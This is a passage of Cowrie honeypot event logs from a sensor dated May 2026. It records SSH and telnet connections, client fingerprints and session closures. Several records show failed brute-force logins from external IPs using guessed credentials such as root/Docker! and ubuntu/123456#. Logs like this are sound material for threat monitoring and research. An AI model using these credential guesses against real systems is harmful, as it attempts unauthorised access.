-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:36.801073Z","src_ip":"5.182.83.231","session":"d12ffb0d610f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44844,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3b72f278f0","protocol":"telnet","message":"New connection: 45.63.42.31:44844 (10.17.0.5:23) [session: eb3b72f278f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:37.129985Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Docker!","message":"login attempt [root/Docker!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:37.297729Z","src_ip":"5.182.83.231","session":"d12ffb0d610f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:38.416981Z","src_ip":"5.182.83.231","session":"d12ffb0d610f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.702226638793945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:39.336210Z","src_ip":"45.63.42.31","session":"39742777803a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":60874,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf7697d5529","protocol":"ssh","message":"New connection: 107.173.55.151:60874 (10.17.0.5:22) [session: 6cf7697d5529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:42.303187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:42.308391Z","src_ip":"107.173.55.151","session":"6cf7697d5529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:42.332219Z","src_ip":"107.173.55.151","session":"6cf7697d5529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123456789@","message":"login attempt [root/qaz123456789@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:42.453889Z","src_ip":"107.173.55.151","session":"6cf7697d5529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:43.478176Z","src_ip":"107.173.55.151","session":"6cf7697d5529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":45502,"dst_ip":"10.17.0.5","dst_port":23,"session":"861b9a17c176","protocol":"telnet","message":"New connection: 103.115.172.252:45502 (10.17.0.5:23) [session: 861b9a17c176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:45.281940Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":45240,"dst_ip":"10.17.0.5","dst_port":23,"session":"865e1c8249a1","protocol":"telnet","message":"New connection: 103.115.172.252:45240 (10.17.0.5:23) [session: 865e1c8249a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:38:45.697133Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36926,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ead45b8ef75","protocol":"telnet","message":"New connection: 45.63.42.31:36926 (10.17.0.5:23) [session: 1ead45b8ef75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:04.156803Z"}
{"eventid":"cowrie.session.closed","duration":39.27474236488342,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:07.802514Z","src_ip":"45.63.42.31","session":"34781169e760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.752437591552734,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:09.727646Z","src_ip":"103.115.172.252","session":"fced1d35b73d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.611756563186646,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:13.741622Z","src_ip":"45.63.42.31","session":"eb3b72f278f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":49602,"dst_ip":"10.17.0.5","dst_port":23,"session":"62bc4fad9584","protocol":"telnet","message":"New connection: 45.63.42.31:49602 (10.17.0.5:23) [session: 62bc4fad9584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:23.102557Z"}
{"eventid":"cowrie.session.closed","duration":39.328370809555054,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:25.025398Z","src_ip":"103.115.172.252","session":"865e1c8249a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.108107566833496,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:28.389953Z","src_ip":"103.115.172.252","session":"861b9a17c176","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35300,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebfba33cafda","protocol":"telnet","message":"New connection: 45.63.42.31:35300 (10.17.0.5:23) [session: ebfba33cafda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:29.044849Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":51546,"dst_ip":"10.17.0.5","dst_port":22,"session":"e22acf4e9832","protocol":"ssh","message":"New connection: 107.173.55.151:51546 (10.17.0.5:22) [session: e22acf4e9832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:30.260792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:30.266150Z","src_ip":"107.173.55.151","session":"e22acf4e9832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:30.291227Z","src_ip":"107.173.55.151","session":"e22acf4e9832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456#","message":"login attempt [ubuntu/123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:30.404709Z","src_ip":"107.173.55.151","session":"e22acf4e9832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33906,"dst_ip":"10.17.0.5","dst_port":23,"session":"14af85d7e632","protocol":"telnet","message":"New connection: 45.63.42.31:33906 (10.17.0.5:23) [session: 14af85d7e632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:31.366259Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:31.432940Z","src_ip":"107.173.55.151","session":"e22acf4e9832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.02600693702698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:39.182683Z","src_ip":"45.63.42.31","session":"1ead45b8ef75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":49892,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa0f85ab3702","protocol":"telnet","message":"New connection: 45.63.42.31:49892 (10.17.0.5:23) [session: aa0f85ab3702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:39.630200Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48930,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b0c4824138","protocol":"telnet","message":"New connection: 45.63.42.31:48930 (10.17.0.5:23) [session: 64b0c4824138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:50.538940Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51656,"dst_ip":"10.17.0.5","dst_port":23,"session":"9339555df65e","protocol":"telnet","message":"New connection: 45.63.42.31:51656 (10.17.0.5:23) [session: 9339555df65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:52.855523Z"}
{"eventid":"cowrie.session.closed","duration":34.90326547622681,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:39:58.005688Z","src_ip":"45.63.42.31","session":"62bc4fad9584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42884,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b1348b0668e","protocol":"telnet","message":"New connection: 45.63.42.31:42884 (10.17.0.5:23) [session: 8b1348b0668e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:01.855089Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43602,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7769acd9024","protocol":"telnet","message":"New connection: 45.63.42.31:43602 (10.17.0.5:23) [session: b7769acd9024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:03.175025Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44538,"dst_ip":"10.17.0.5","dst_port":23,"session":"66543fbe5d71","protocol":"telnet","message":"New connection: 45.63.42.31:44538 (10.17.0.5:23) [session: 66543fbe5d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:03.550184Z"}
{"eventid":"cowrie.session.closed","duration":37.28089380264282,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:06.325667Z","src_ip":"45.63.42.31","session":"ebfba33cafda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50034,"dst_ip":"10.17.0.5","dst_port":23,"session":"415750ed0d84","protocol":"telnet","message":"New connection: 103.115.172.252:50034 (10.17.0.5:23) [session: 415750ed0d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:08.738189Z"}
{"eventid":"cowrie.session.closed","duration":38.21260643005371,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:09.578734Z","src_ip":"45.63.42.31","session":"14af85d7e632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72314953804016,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:15.353208Z","src_ip":"45.63.42.31","session":"aa0f85ab3702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":58230,"dst_ip":"10.17.0.5","dst_port":22,"session":"b245f98d8f03","protocol":"ssh","message":"New connection: 107.173.55.151:58230 (10.17.0.5:22) [session: b245f98d8f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:17.553887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:17.573433Z","src_ip":"107.173.55.151","session":"b245f98d8f03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:17.593014Z","src_ip":"107.173.55.151","session":"b245f98d8f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456.","message":"login attempt [root/Abc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:17.747741Z","src_ip":"107.173.55.151","session":"b245f98d8f03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:18.773077Z","src_ip":"107.173.55.151","session":"b245f98d8f03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.43724250793457,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:27.292634Z","src_ip":"45.63.42.31","session":"9339555df65e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.31928324699402,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:27.858109Z","src_ip":"45.63.42.31","session":"64b0c4824138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39998,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf7702f6109","protocol":"telnet","message":"New connection: 45.63.42.31:39998 (10.17.0.5:23) [session: bdf7702f6109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:28.196856Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44616,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bf08e303473","protocol":"telnet","message":"New connection: 45.63.42.31:44616 (10.17.0.5:23) [session: 2bf08e303473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:30.553684Z"}
{"eventid":"cowrie.session.closed","duration":35.43816351890564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:37.293131Z","src_ip":"45.63.42.31","session":"8b1348b0668e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02311182022095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:38.197998Z","src_ip":"45.63.42.31","session":"b7769acd9024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.29426074028015,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:39.844315Z","src_ip":"45.63.42.31","session":"66543fbe5d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.69560217857361,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:45.433688Z","src_ip":"103.115.172.252","session":"415750ed0d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46258,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb779d580b1","protocol":"telnet","message":"New connection: 45.63.42.31:46258 (10.17.0.5:23) [session: 6fb779d580b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:48.622227Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04583c8bb72","protocol":"telnet","message":"New connection: 45.63.42.31:53162 (10.17.0.5:23) [session: e04583c8bb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:50.334224Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51538,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81566bc7769","protocol":"telnet","message":"New connection: 45.63.42.31:51538 (10.17.0.5:23) [session: e81566bc7769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:40:51.498320Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":58564,"dst_ip":"159.203.135.109","dst_port":22,"session":"7baf5e3e7093","protocol":"ssh","message":"New connection: 191.255.52.36:58564 (159.203.135.109:22) [session: 7baf5e3e7093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:05.252755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:05.314731Z","src_ip":"191.255.52.36","session":"7baf5e3e7093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:05.445874Z","src_ip":"191.255.52.36","session":"7baf5e3e7093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06268525123596,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:05.616252Z","src_ip":"45.63.42.31","session":"2bf08e303473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.755003690719604,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:05.951723Z","src_ip":"45.63.42.31","session":"bdf7702f6109","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"mc","message":"login attempt [root/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:06.018642Z","src_ip":"191.255.52.36","session":"7baf5e3e7093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:07.156317Z","src_ip":"191.255.52.36","session":"7baf5e3e7093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":56256,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f9ccbc50630","protocol":"ssh","message":"New connection: 107.173.55.151:56256 (10.17.0.5:22) [session: 3f9ccbc50630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:07.981765Z"}
